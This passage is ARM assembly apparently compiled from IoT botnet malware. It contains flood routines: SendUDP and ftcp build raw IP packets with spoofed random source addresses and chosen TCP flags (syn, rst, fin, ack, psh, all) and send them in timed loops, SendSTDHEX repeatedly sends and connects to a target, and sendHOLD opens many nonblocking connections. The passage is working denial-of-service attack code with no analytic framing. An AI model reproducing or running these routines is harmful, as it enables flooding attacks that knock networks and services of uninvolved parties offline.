	and	r2, r3, #255
	mov	r3, #0
	adds	r4, r4, r2
	adc	r5, r5, r3
	b	.L165
.L166:
	ldr	r2, .L168
	mov	r3, #0
	and	r6, r4, r2
	and	r7, r5, r3
	mov	r2, #0
	mov	r3, #0
	lsr	r2, r4, #16
	orr	r2, r2, r5, lsl #16
	lsr	r3, r5, #16
	adds	r4, r6, r2
	adc	r5, r7, r3
.L165:
	mov	r2, #0
	mov	r3, #0
	lsr	r2, r4, #16
	orr	r2, r2, r5, lsl #16
	lsr	r3, r5, #16
	orrs	r3, r2, r3
	bne	.L166
	lsl	r3, r4, #16
	lsr	r3, r3, #16
	mvn	r3, r3
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	sub	sp, fp, #16
	@ sp needed
	pop	{r4, r5, r6, r7, fp}
	bx	lr
.L169:
	.align	2
.L168:
	.word	65535
	.size	csum, .-csum
	.section	.rodata
	.align	2
.LC21:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	tcpcsum
	.syntax unified
	.arm
	.fpu softvfp
	.type	tcpcsum, %function
tcpcsum:
	@ args = 0, pretend = 0, frame = 40
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #40
	str	r0, [fp, #-40]
	str	r1, [fp, #-44]
	ldr	r3, .L173
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-40]
	ldrh	r3, [r3, #2]	@ movhi
	strh	r3, [fp, #-32]	@ movhi
	ldr	r3, [fp, #-40]
	ldr	r3, [r3, #12]
	str	r3, [fp, #-20]
	ldr	r3, [fp, #-40]
	ldr	r3, [r3, #16]
	str	r3, [fp, #-16]
	mov	r3, #0
	strb	r3, [fp, #-12]
	mov	r3, #6
	strb	r3, [fp, #-11]
	mov	r0, #20
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-10]	@ movhi
	mov	r3, #32
	str	r3, [fp, #-28]
	ldr	r3, [fp, #-28]
	mov	r0, r3
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-24]
	sub	r3, fp, #20
	mov	r2, #12
	mov	r1, r3
	ldr	r0, [fp, #-24]
	bl	memcpy
	ldr	r3, [fp, #-24]
	add	r3, r3, #12
	mov	r2, #20
	ldr	r1, [fp, #-44]
	mov	r0, r3
	bl	memcpy
	ldr	r1, [fp, #-28]
	ldr	r0, [fp, #-24]
	bl	csum
	mov	r3, r0
	strh	r3, [fp, #-30]	@ movhi
	ldr	r0, [fp, #-24]
	bl	free
	ldrh	r3, [fp, #-30]
	ldr	r2, .L173
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L172
	bl	__stack_chk_fail
.L172:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L174:
	.align	2
.L173:
	.word	.LC21
	.size	tcpcsum, .-tcpcsum
	.align	2
	.global	makeIPPacket
	.syntax unified
	.arm
	.fpu softvfp
	.type	makeIPPacket, %function
makeIPPacket:
	@ args = 4, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-8]
	str	r1, [fp, #-12]
	str	r2, [fp, #-16]
	strb	r3, [fp, #-17]
	ldr	r2, [fp, #-8]
	ldrb	r3, [r2]
	bic	r3, r3, #10
	orr	r3, r3, #5
	strb	r3, [r2]
	ldr	r2, [fp, #-8]
	ldrb	r3, [r2]
	bic	r3, r3, #176
	orr	r3, r3, #64
	strb	r3, [r2]
	ldr	r3, [fp, #-8]
	mov	r2, #0
	strb	r2, [r3, #1]
	ldr	r3, [fp, #4]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	add	r3, r3, #20
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-8]
	strh	r2, [r3, #2]	@ movhi
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-8]
	strh	r2, [r3, #4]	@ movhi
	ldr	r3, [fp, #-8]
	mov	r2, #0
	strh	r2, [r3, #6]	@ movhi
	ldr	r3, [fp, #-8]
	mvn	r2, #0
	strb	r2, [r3, #8]
	ldr	r3, [fp, #-8]
	ldrb	r2, [fp, #-17]
	strb	r2, [r3, #9]
	ldr	r3, [fp, #-8]
	mov	r2, #0
	strh	r2, [r3, #10]	@ movhi
	ldr	r3, [fp, #-8]
	ldr	r2, [fp, #-16]
	str	r2, [r3, #12]
	ldr	r3, [fp, #-8]
	ldr	r2, [fp, #-12]
	str	r2, [r3, #16]
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	makeIPPacket, .-makeIPPacket
	.section	.rodata
	.align	2
.LC22:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	SendUDP
	.syntax unified
	.arm
	.fpu softvfp
	.type	SendUDP, %function
SendUDP:
	@ args = 8, pretend = 0, frame = 72
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, fp, lr}
	add	fp, sp, #20
	sub	sp, sp, #80
	str	r0, [fp, #-80]
	str	r1, [fp, #-84]
	str	r2, [fp, #-88]
	str	r3, [fp, #-92]
	ldr	r3, .L201
	ldr	r3, [r3]
	str	r3, [fp, #-24]
	mov	r3,#0
	mov	r3, #2
	strh	r3, [fp, #-40]	@ movhi
	ldr	r3, [fp, #-84]
	cmp	r3, #0
	bne	.L177
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	strh	r3, [fp, #-38]	@ movhi
	b	.L178
.L177:
	ldr	r3, [fp, #-84]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-38]	@ movhi
.L178:
	sub	r3, fp, #40
	add	r3, r3, #4
	mov	r1, r3
	ldr	r0, [fp, #-80]
	bl	getHost
	mov	r3, r0
	cmp	r3, #0
	bne	.L197
	sub	r3, fp, #40
	add	r3, r3, #8
	mov	r2, #8
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r6, [fp, #4]
	mov	r2, #17
	mov	r1, #3
	mov	r0, #2
	bl	socket
	str	r0, [fp, #-68]
	ldr	r3, [fp, #-68]
	cmp	r3, #0
	beq	.L198
	mov	r3, #1
	str	r3, [fp, #-76]
	sub	r3, fp, #76
	mov	r2, #4
	str	r2, [sp]
	mov	r2, #3
	mov	r1, #0
	ldr	r0, [fp, #-68]
	bl	setsockopt
	mov	r3, r0
	cmp	r3, #0
	blt	.L199
	mov	r3, #50
	str	r3, [fp, #-72]
	b	.L183
.L184:
	mov	r0, #0
	bl	time
	mov	r3, r0
	mov	r4, r3
	bl	rand_cmwc
	mov	r3, r0
	eor	r3, r3, r4
	mov	r0, r3
	bl	srand
	bl	rand
	mov	r3, r0
	mov	r0, r3
	bl	init_rand
.L183:
	ldr	r3, [fp, #-72]
	sub	r2, r3, #1
	str	r2, [fp, #-72]
	cmp	r3, #0
	bne	.L184
	ldr	r3, [fp, #8]
	rsb	r3, r3, #32
	mov	r2, #1
	lsl	r3, r2, r3
	rsb	r3, r3, #0
	str	r3, [fp, #-64]
	ldr	r3, [fp, #-92]
	add	r4, r3, #28
	mov	r3, sp
	mov	r7, r3
	mov	r3, r4
	sub	r3, r3, #1
	str	r3, [fp, #-60]
	mov	r0, r4
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #3
	orr	r3, r3, r0, lsr #29
	lsl	r2, r0, #3
	mov	r0, r4
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #3
	orr	r3, r3, r0, lsr #29
	lsl	r2, r0, #3
	add	r3, r4, #7
	lsr	r3, r3, #3
	lsl	r3, r3, #3
	sub	sp, sp, r3
	add	r3, sp, #8
	add	r3, r3, #0
	str	r3, [fp, #-56]
	ldr	r3, [fp, #-56]
	str	r3, [fp, #-52]
	ldr	r3, [fp, #-52]
	add	r3, r3, #20
	str	r3, [fp, #-48]
	ldr	r5, [fp, #-36]
	ldr	r0, [fp, #-64]
	bl	getRandomIP
	mov	r3, r0
	mov	r0, r3
	bl	htonl
	mov	r2, r0
	ldr	r3, [fp, #-92]
	add	r3, r3, #8
	str	r3, [sp]
	mov	r3, #17
	mov	r1, r5
	ldr	r0, [fp, #-52]
	bl	makeIPPacket
	ldr	r3, [fp, #-92]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	add	r3, r3, #8
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-48]
	strh	r2, [r3, #4]	@ movhi
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-48]
	strh	r2, [r3]	@ movhi
	ldr	r3, [fp, #-84]
	cmp	r3, #0
	bne	.L185
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	b	.L186
.L185:
	ldr	r3, [fp, #-84]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
.L186:
	ldr	r2, [fp, #-48]
	strh	r3, [r2, #2]	@ movhi
	ldr	r3, [fp, #-48]
	mov	r2, #0
	strh	r2, [r3, #6]	@ movhi
	ldr	r3, [fp, #-48]
	add	r3, r3, #8
	ldr	r1, [fp, #-92]
	mov	r0, r3
	bl	makeRandomStr
	ldr	r3, [fp, #-52]
	ldrh	r3, [r3, #2]
	mov	r1, r3
	ldr	r0, [fp, #-56]
	bl	csum
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-52]
	strh	r2, [r3, #10]	@ movhi
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-88]
	add	r3, r3, r2
	str	r3, [fp, #-44]
	mov	r5, #0
.L193:
	mov	r3, #16
	str	r3, [sp, #4]
	sub	r3, fp, #40
	str	r3, [sp]
	mov	r3, #0
	mov	r2, r4
	ldr	r1, [fp, #-56]
	ldr	r0, [fp, #-68]
	bl	sendto
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-48]
	strh	r2, [r3]	@ movhi
	ldr	r3, [fp, #-84]
	cmp	r3, #0
	bne	.L187
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	b	.L188
.L187:
	ldr	r3, [fp, #-84]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
.L188:
	ldr	r2, [fp, #-48]
	strh	r3, [r2, #2]	@ movhi
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-52]
	strh	r2, [r3, #4]	@ movhi
	ldr	r0, [fp, #-64]
	bl	getRandomIP
	mov	r3, r0
	mov	r0, r3
	bl	htonl
	mov	r2, r0
	ldr	r3, [fp, #-52]
	str	r2, [r3, #12]
	ldr	r3, [fp, #-52]
	ldrh	r3, [r3, #2]
	mov	r1, r3
	ldr	r0, [fp, #-56]
	bl	csum
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-52]
	strh	r2, [r3, #10]	@ movhi
	cmp	r5, r6
	bne	.L189
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-44]
	cmp	r3, r2
	blt	.L200
	mov	r5, #0
	b	.L192
.L189:
	add	r5, r5, #1
.L192:
	b	.L193
.L200:
	nop
	mov	sp, r7
	b	.L176
.L197:
	nop
	b	.L176
.L198:
	nop
	b	.L176
.L199:
	nop
.L176:
	ldr	r3, .L201
	ldr	r2, [r3]
	ldr	r3, [fp, #-24]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L195
	bl	__stack_chk_fail
.L195:
	sub	sp, fp, #20
	@ sp needed
	pop	{r4, r5, r6, r7, fp, pc}
.L202:
	.align	2
.L201:
	.word	.LC22
	.size	SendUDP, .-SendUDP
	.section	.rodata
	.align	2
.LC23:
	.ascii	"all\000"
	.align	2
.LC24:
	.ascii	",\000"
	.align	2
.LC25:
	.ascii	"syn\000"
	.align	2
.LC26:
	.ascii	"rst\000"
	.align	2
.LC27:
	.ascii	"fin\000"
	.align	2
.LC28:
	.ascii	"ack\000"
	.align	2
.LC29:
	.ascii	"psh\000"
	.align	2
.LC30:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	ftcp
	.syntax unified
	.arm
	.fpu softvfp
	.type	ftcp, %function
ftcp:
	@ args = 12, pretend = 0, frame = 80
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, fp, lr}
	add	fp, sp, #20
	sub	sp, sp, #88
	str	r0, [fp, #-80]
	str	r1, [fp, #-84]
	str	r2, [fp, #-88]
	str	r3, [fp, #-92]
	ldr	r3, [fp, #4]
	str	r3, [fp, #-96]
	ldr	r3, .L235
	ldr	r3, [r3]
	str	r3, [fp, #-24]
	mov	r3,#0
	mov	r3, sp
	mov	r7, r3
	ldr	r6, [fp, #12]
	mov	r3, #2
	strh	r3, [fp, #-40]	@ movhi
	ldr	r3, [fp, #-84]
	cmp	r3, #0
	bne	.L204
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	strh	r3, [fp, #-38]	@ movhi
	b	.L205
.L204:
	ldr	r3, [fp, #-84]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-38]	@ movhi
.L205:
	sub	r3, fp, #40
	add	r3, r3, #4
	mov	r1, r3
	ldr	r0, [fp, #-80]
	bl	getHost
	mov	r3, r0
	cmp	r3, #0
	bne	.L231
	sub	r3, fp, #40
	add	r3, r3, #8
	mov	r2, #8
	mov	r1, #0
	mov	r0, r3
	bl	memset
	mov	r2, #6
	mov	r1, #3
	mov	r0, #2
	bl	socket
	str	r0, [fp, #-64]
	ldr	r3, [fp, #-64]
	cmp	r3, #0
	beq	.L232
	mov	r3, #1
	str	r3, [fp, #-76]
	sub	r3, fp, #76
	mov	r2, #4
	str	r2, [sp]
	mov	r2, #3
	mov	r1, #0
	ldr	r0, [fp, #-64]
	bl	setsockopt
	mov	r3, r0
	cmp	r3, #0
	blt	.L233
	ldr	r3, [fp, #-92]
	cmp	r3, #0
	bne	.L210
	mov	r3, #0
	str	r3, [fp, #-68]
	b	.L211
.L210:
	ldr	r3, [fp, #-92]
	rsb	r3, r3, #32
	mov	r2, #1
	lsl	r3, r2, r3
	rsb	r3, r3, #0
	str	r3, [fp, #-68]
.L211:
	ldr	r3, [fp, #8]
	add	r4, r3, #40
	mov	r3, r4
	sub	r3, r3, #1
	str	r3, [fp, #-60]
	mov	r0, r4
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #3
	orr	r3, r3, r0, lsr #29
	lsl	r2, r0, #3
	mov	r0, r4
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #3
	orr	r3, r3, r0, lsr #29
	lsl	r2, r0, #3
	add	r3, r4, #7
	lsr	r3, r3, #3
	lsl	r3, r3, #3
	sub	sp, sp, r3
	add	r3, sp, #8
	add	r3, r3, #0
	str	r3, [fp, #-56]
	ldr	r3, [fp, #-56]
	str	r3, [fp, #-52]
	ldr	r3, [fp, #-52]
	add	r3, r3, #20
	str	r3, [fp, #-48]
	ldr	r5, [fp, #-36]
	ldr	r0, [fp, #-68]
	bl	getRandomIP
	mov	r3, r0
	mov	r0, r3
	bl	htonl
	mov	r2, r0
	ldr	r3, [fp, #8]
	add	r3, r3, #20
	str	r3, [sp]
	mov	r3, #6
	mov	r1, r5
	ldr	r0, [fp, #-52]
	bl	makeIPPacket
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-48]
	strh	r2, [r3]	@ movhi
	bl	rand_cmwc
	mov	r2, r0
	ldr	r3, [fp, #-48]
	str	r2, [r3, #4]
	ldr	r3, [fp, #-48]
	mov	r2, #0
	str	r2, [r3, #8]
	ldr	r2, [fp, #-48]
	ldrb	r3, [r2, #12]
	bic	r3, r3, #160
	orr	r3, r3, #80
	strb	r3, [r2, #12]
	ldr	r1, .L235+4
	ldr	r0, [fp, #-96]
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L212
	ldr	r2, [fp, #-48]
	ldrb	r3, [r2, #13]
	orr	r3, r3, #2
	strb	r3, [r2, #13]
	ldr	r2, [fp, #-48]
	ldrb	r3, [r2, #13]
	orr	r3, r3, #4
	strb	r3, [r2, #13]
	ldr	r2, [fp, #-48]
	ldrb	r3, [r2, #13]
	orr	r3, r3, #1
	strb	r3, [r2, #13]
	ldr	r2, [fp, #-48]
	ldrb	r3, [r2, #13]
	orr	r3, r3, #16
	strb	r3, [r2, #13]
	ldr	r2, [fp, #-48]
	ldrb	r3, [r2, #13]
	orr	r3, r3, #8
	strb	r3, [r2, #13]
	b	.L213
.L212:
	ldr	r1, .L235+8
	ldr	r0, [fp, #-96]
	bl	strtok
	str	r0, [fp, #-72]
	b	.L214
.L220:
	ldr	r1, .L235+12
	ldr	r0, [fp, #-72]
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L215
	ldr	r2, [fp, #-48]
	ldrb	r3, [r2, #13]
	orr	r3, r3, #2
	strb	r3, [r2, #13]
	b	.L216
.L215:
	ldr	r1, .L235+16
	ldr	r0, [fp, #-72]
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L217
	ldr	r2, [fp, #-48]
	ldrb	r3, [r2, #13]
	orr	r3, r3, #4
	strb	r3, [r2, #13]
	b	.L216
.L217:
	ldr	r1, .L235+20
	ldr	r0, [fp, #-72]
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L218
	ldr	r2, [fp, #-48]
	ldrb	r3, [r2, #13]
	orr	r3, r3, #1
	strb	r3, [r2, #13]
	b	.L216
.L218:
	ldr	r1, .L235+24
	ldr	r0, [fp, #-72]
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L219
	ldr	r2, [fp, #-48]
	ldrb	r3, [r2, #13]
	orr	r3, r3, #16
	strb	r3, [r2, #13]
	b	.L216
.L219:
	ldr	r1, .L235+28
	ldr	r0, [fp, #-72]
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L216
	ldr	r2, [fp, #-48]
	ldrb	r3, [r2, #13]
	orr	r3, r3, #8
	strb	r3, [r2, #13]
.L216:
	ldr	r1, .L235+8
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-72]
.L214:
	ldr	r3, [fp, #-72]
	cmp	r3, #0
	bne	.L220
.L213:
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-48]
	strh	r2, [r3, #14]	@ movhi
	ldr	r3, [fp, #-48]
	mov	r2, #0
	strh	r2, [r3, #16]	@ movhi
	ldr	r3, [fp, #-48]
	mov	r2, #0
	strh	r2, [r3, #18]	@ movhi
	ldr	r3, [fp, #-84]
	cmp	r3, #0
	bne	.L221
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	b	.L222
.L221:
	ldr	r3, [fp, #-84]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
.L222:
	ldr	r2, [fp, #-48]
	strh	r3, [r2, #2]	@ movhi
	ldr	r1, [fp, #-48]
	ldr	r0, [fp, #-52]
	bl	tcpcsum
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-48]
	strh	r2, [r3, #16]	@ movhi
	ldr	r3, [fp, #-52]
	ldrh	r3, [r3, #2]
	mov	r1, r3
	ldr	r0, [fp, #-56]
	bl	csum
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-52]
	strh	r2, [r3, #10]	@ movhi
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-88]
	add	r3, r3, r2
	str	r3, [fp, #-44]
	mov	r5, #0
.L227:
	mov	r3, #16
	str	r3, [sp, #4]
	sub	r3, fp, #40
	str	r3, [sp]
	mov	r3, #0
	mov	r2, r4
	ldr	r1, [fp, #-56]
	ldr	r0, [fp, #-64]
	bl	sendto
	ldr	r0, [fp, #-68]
	bl	getRandomIP
	mov	r3, r0
	mov	r0, r3
	bl	htonl
	mov	r2, r0
	ldr	r3, [fp, #-52]
	str	r2, [r3, #12]
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-52]
	strh	r2, [r3, #4]	@ movhi
	bl	rand_cmwc
	mov	r2, r0
	ldr	r3, [fp, #-48]
	str	r2, [r3, #4]
	bl	rand_cmwc
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	ldr	r3, [fp, #-48]
	strh	r2, [r3]	@ movhi
	ldr	r3, [fp, #-48]
	mov	r2, #0
	strh	r2, [r3, #16]	@ movhi
	ldr	r1, [fp, #-48]
	ldr	r0, [fp, #-52]
	bl	tcpcsum
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-48]
	strh	r2, [r3, #16]	@ movhi
	ldr	r3, [fp, #-52]
	ldrh	r3, [r3, #2]
	mov	r1, r3
	ldr	r0, [fp, #-56]
	bl	csum
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-52]
	strh	r2, [r3, #10]	@ movhi
	cmp	r5, r6
	bne	.L223
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-44]
	cmp	r3, r2
	blt	.L234
	mov	r5, #0
	b	.L226
.L223:
	add	r5, r5, #1
.L226:
	b	.L227
.L234:
	nop
	mov	sp, r7
	b	.L203
.L231:
	nop
	b	.L207
.L232:
	nop
	b	.L207
.L233:
	nop
.L207:
	mov	sp, r7
.L203:
	ldr	r3, .L235
	ldr	r2, [r3]
	ldr	r3, [fp, #-24]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L229
	bl	__stack_chk_fail
.L229:
	sub	sp, fp, #20
	@ sp needed
	pop	{r4, r5, r6, r7, fp, pc}
.L236:
	.align	2
.L235:
	.word	.LC30
	.word	.LC23
	.word	.LC24
	.word	.LC25
	.word	.LC26
	.word	.LC27
	.word	.LC28
	.word	.LC29
	.size	ftcp, .-ftcp
	.section	.rodata
	.align	2
.LC31:
	.word	.LC0
	.word	.LC1
	.align	2
.LC32:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	SendSTDHEX
	.syntax unified
	.arm
	.fpu softvfp
	.type	SendSTDHEX, %function
SendSTDHEX:
	@ args = 0, pretend = 0, frame = 64
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #64
	str	r0, [fp, #-56]
	str	r1, [fp, #-60]
	str	r2, [fp, #-64]
	ldr	r3, .L242
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r2, #0
	mov	r1, #2
	mov	r0, #2
	bl	socket
	str	r0, [fp, #-44]
	mov	r0, #0
	bl	time
	str	r0, [fp, #-40]
	ldr	r0, [fp, #-56]
	bl	gethostbyname
	str	r0, [fp, #-36]
	sub	r3, fp, #24
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2]
	str	r3, [r2, #4]
	str	r3, [r2, #8]
	str	r3, [r2, #12]
	ldr	r3, [fp, #-36]
	ldr	r3, [r3, #16]
	ldr	r1, [r3]
	ldr	r3, [fp, #-36]
	ldr	r3, [r3, #12]
	mov	r2, r3
	sub	r3, fp, #24
	add	r3, r3, #4
	mov	r0, r3
	bl	memmove
	ldr	r3, [fp, #-36]
	ldr	r3, [r3, #8]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	strh	r3, [fp, #-24]	@ movhi
	ldr	r3, [fp, #-60]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	strh	r3, [fp, #-22]	@ movhi
	mov	r3, #0
	str	r3, [fp, #-48]
.L240:
	ldr	r2, .L242+4
	sub	r3, fp, #32
	ldm	r2, {r0, r1}
	stm	r3, {r0, r1}
	ldr	r3, [fp, #-48]
	cmp	r3, #49
	bls	.L238
	sub	r1, fp, #32
	mov	r3, #0
	ldr	r2, .L242+8
	ldr	r0, [fp, #-44]
	bl	send
	sub	r3, fp, #24
	mov	r2, #16
	mov	r1, r3
	ldr	r0, [fp, #-44]
	bl	connect
	mov	r0, #0
	bl	time
	mov	r1, r0
	ldr	r2, [fp, #-40]
	ldr	r3, [fp, #-64]
	add	r3, r2, r3
	cmp	r1, r3
	blt	.L239
	ldr	r0, [fp, #-44]
	bl	close
	mov	r0, #0
	bl	_exit
.L239:
	mov	r3, #0
	str	r3, [fp, #-48]
.L238:
	ldr	r3, [fp, #-48]
	add	r3, r3, #1
	str	r3, [fp, #-48]
	b	.L240
.L243:
	.align	2
.L242:
	.word	.LC32
	.word	.LC31
	.word	1460
	.size	SendSTDHEX, .-SendSTDHEX
	.section	.rodata
	.align	2
.LC33:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	sendHOLD
	.syntax unified
	.arm
	.fpu softvfp
	.type	sendHOLD, %function
sendHOLD:
	@ args = 0, pretend = 0, frame = 224
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, fp, lr}
	add	fp, sp, #12
	sub	sp, sp, #232
	str	r0, [fp, #-224]
	str	r1, [fp, #-228]
	str	r2, [fp, #-232]
	ldr	r3, .L269
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	mov	r3, sp
	mov	r5, r3
	bl	getdtablesize
	mov	r3, r0
	lsr	r2, r3, #31
	add	r3, r2, r3
	asr	r3, r3, #1
	str	r3, [fp, #-200]
	mov	r3, #2
	strh	r3, [fp, #-160]	@ movhi
	ldr	r3, [fp, #-228]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-158]	@ movhi
	sub	r3, fp, #160
	add	r3, r3, #4
	mov	r1, r3
	ldr	r0, [fp, #-224]
	bl	getHost
	mov	r3, r0
	cmp	r3, #0
	beq	.L245
	mov	sp, r5
	b	.L244
.L245:
	sub	r3, fp, #160
	add	r3, r3, #8
	mov	r2, #8
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	ip, [fp, #-200]
	sub	r3, ip, #1
	str	r3, [fp, #-196]
	mov	r3, ip
	mov	r0, r3
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #6
	orr	r3, r3, r0, lsr #26
	lsl	r2, r0, #6
	mov	r3, ip
	mov	r0, r3
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #6
	orr	r3, r3, r0, lsr #26
	lsl	r2, r0, #6
	mov	r3, ip
	lsl	r3, r3, #3
	add	r3, r3, #7
	lsr	r3, r3, #3
	lsl	r3, r3, #3
	sub	sp, sp, r3
	add	r3, sp, #8
	add	r3, r3, #3
	lsr	r3, r3, #2
	lsl	r3, r3, #2
	str	r3, [fp, #-192]
	ldr	r2, [fp, #-200]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	mov	r2, r3
	mov	r1, #0
	ldr	r0, [fp, #-192]
	bl	memset
	mov	r0, #1024
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-188]
	mov	r2, #1024
	mov	r1, #0
	ldr	r0, [fp, #-188]
	bl	memset
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-232]
	add	r3, r3, r2
	str	r3, [fp, #-184]
	b	.L247
.L265:
	mov	r3, #0
	str	r3, [fp, #-204]
	b	.L248
.L264:
	ldr	r2, [fp, #-192]
	ldr	r3, [fp, #-204]
	lsl	r3, r3, #3
	add	r3, r2, r3
	ldrb	r3, [r3, #4]	@ zero_extendqisi2
	cmp	r3, #2
	beq	.L249
	cmp	r3, #2
	bgt	.L250
	cmp	r3, #0
	beq	.L251
	cmp	r3, #1
	beq	.L252
	b	.L250
.L251:
	mov	r2, #0
	mov	r1, #1
	mov	r0, #2
	bl	socket
	mov	r1, r0
	ldr	r3, [fp, #-192]
	ldr	r2, [fp, #-204]
	str	r1, [r3, r2, lsl #3]
	ldr	r3, [fp, #-192]
	ldr	r2, [fp, #-204]
	ldr	r4, [r3, r2, lsl #3]
	ldr	r3, [fp, #-192]
	ldr	r2, [fp, #-204]
	ldr	r3, [r3, r2, lsl #3]
	mov	r2, #0
	mov	r1, #3
	mov	r0, r3
	bl	fcntl
	mov	r3, r0
	orr	r3, r3, #2048
	mov	r2, r3
	mov	r1, #4
	mov	r0, r4
	bl	fcntl
	ldr	r3, [fp, #-192]
	ldr	r2, [fp, #-204]
	ldr	r3, [r3, r2, lsl #3]
	sub	r1, fp, #160
	mov	r2, #16
	mov	r0, r3
	bl	connect
	mov	r3, r0
	cmn	r3, #1
	bne	.L253
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	cmp	r3, #115
	beq	.L254
.L253:
	ldr	r3, [fp, #-192]
	ldr	r2, [fp, #-204]
	ldr	r3, [r3, r2, lsl #3]
	mov	r0, r3
	bl	close
	b	.L250
.L254:
	ldr	r2, [fp, #-192]
	ldr	r3, [fp, #-204]
	lsl	r3, r3, #3
	add	r3, r2, r3
	mov	r2, #1
